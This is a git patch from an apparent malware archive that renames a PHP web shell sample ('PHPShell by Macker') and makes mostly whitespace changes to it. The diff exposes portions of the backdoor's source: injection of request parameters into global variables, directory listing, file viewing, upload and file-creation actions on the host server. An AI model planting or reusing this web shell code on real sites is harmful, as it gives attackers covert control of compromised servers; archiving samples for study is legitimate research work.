From 687be7ffe431a4576525849f0be8be6d2bba1916 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Thu, 29 Oct 2020 23:51:29 -0500 Subject: [PATCH] Rename Backdoor.PHP.PhpShell.l to Backdoor.PHP.Macker.a --- ...r.PHP.PhpShell.l => Backdoor.PHP.Macker.a} | 32 ++++++++++--------- 1 file changed, 17 insertions(+), 15 deletions(-) rename PHP/{Backdoor.PHP.PhpShell.l => Backdoor.PHP.Macker.a} (97%) diff --git a/PHP/Backdoor.PHP.PhpShell.l b/PHP/Backdoor.PHP.Macker.a similarity index 97% rename from PHP/Backdoor.PHP.PhpShell.l rename to PHP/Backdoor.PHP.Macker.a index b372b0bb..797a4133 100644 --- a/PHP/Backdoor.PHP.PhpShell.l +++ b/PHP/Backdoor.PHP.Macker.a @@ -42,24 +42,26 @@ $scriptTitle = "PHPShell"; $scriptident = "$scriptTitle by Macker"; $urlAdd = ""; -$formAdd = ""; +$formAdd = ""; function walkArray($array){ while (list($key, $data) = each($array)) if (is_array($data)) { walkArray($data); } else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";} } - + if (isset($_PUT)) walkArray($_PUT); if (isset($_GET)) walkArray($_GET); if (isset($_POST)) walkArray($_POST); - - $pos = strpos($urlAdd, "s=r"); -if (strval($pos) != "") { -$urlAdd= substr($urlAdd, 0, $pos); -} - $urlAdd .= "&s=r&"; - + + +$pos = strpos($urlAdd, "s=r"); +if (strval($pos) != "") { +$urlAdd= substr($urlAdd, 0, $pos); +} + +$urlAdd .= "&s=r&"; + if (empty($Pmax)) $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */ if (empty($Pidx)) @@ -476,9 +478,9 @@ if ( $cmd=="dir" ) { echo "\n"; $size = @filesize("$dir/$file"); If ($size != false) { - $filesizes += $size; + $filesizes += $size; echo "  ".formatsize($size).""; - } + } else echo "  0 B"; echo "  \n"; @@ -559,8 +561,8 @@ if ( $cmd=="dir" ) { } /* */ echo " Other actions:   \n"; - echo " ".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). - buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). + echo " ".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). buildUrl( "| Upload a File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "\n\n"; echo " Script Location:    $PATH_TRANSLATED\n"; echo " Your IP:    $REMOTE_ADDR \n"; @@ -760,12 +762,12 @@ elseif ( $cmd=="uploadproc" ) { /* */ echo "
" ; echo "

"; } -elseif ( $cmd=="file" ) { /* */ +elseif ( $cmd=="file" ) { /* */ echo "
"; $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { echo spacetonbsp(@htmlentities($line))."
\n"; } - echo "
"; + echo "
"; } elseif ( $cmd=="ren" ) { /* */ if (function_exists('is_dir')) {